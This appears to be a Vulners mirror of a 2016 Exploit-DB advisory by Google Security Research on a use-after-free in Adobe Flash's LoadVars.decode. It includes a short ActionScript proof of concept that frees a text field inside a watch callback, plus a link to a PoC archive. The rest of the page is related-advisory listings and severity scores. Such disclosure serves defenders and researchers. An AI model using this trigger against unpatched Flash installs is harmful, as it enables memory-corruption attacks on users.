Adobe Flash - LoadVars.decode Use-After-Free
🗓️ 17 Feb 2016 00:00:00Reported by Google Security ResearchType
exploitdb🔗 www.exploit-db.com👁 35 Views
| Reporter | Title | Published | Views | Family All 81 |
|---|---|---|---|---|
| Adobe Flash - LoadVars.decode Use-After-Free | 17 Feb 201600:00 | – | zdt | |
| flash -- multiple vulnerabilities | 9 Feb 201600:00 | – | freebsd | |
| Flash Player < 20.0.0.306 Multiple Vulnerabilities (APSB16-04) | 30 Mar 201600:00 | – | nessus | |
| Adobe AIR < 20.0.0.260 Multiple Vulnerabilities (APSB16-04) | 30 Mar 201600:00 | – | nessus | |
| Adobe AIR <= 20.0.0.233 Multiple Vulnerabilities (APSB16-04) | 9 Feb 201600:00 | – | nessus | |
| Adobe Flash Player <= 20.0.0.286 Multiple Vulnerabilities (APSB16-04) | 9 Feb 201600:00 | – | nessus | |
| FreeBSD : flash -- multiple vulnerabilities (5d8e56c3-9e67-4d5b-81c9-3a409dfd705f) | 11 Feb 201600:00 | – | nessus | |
| GLSA-201603-07 : Adobe Flash Player: Multiple vulnerabilities | 14 Mar 201600:00 | – | nessus | |
| Adobe AIR for Mac <= 20.0.0.233 Multiple Vulnerabilities (APSB16-04) | 9 Feb 201600:00 | – | nessus | |
| Adobe Flash Player for Mac <= 20.0.0.286 Multiple Vulnerabilities (APSB16-04) | 9 Feb 201600:00 | – | nessus |
10
Source: https://code.google.com/p/google-security-research/issues/detail?id=667
There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:
var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);
function func(){
trace("here");
tf.removeTextField();
return "test";
}
A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zipData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Feb 2016 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.18.8
CVSS 29.3
EPSS0.30774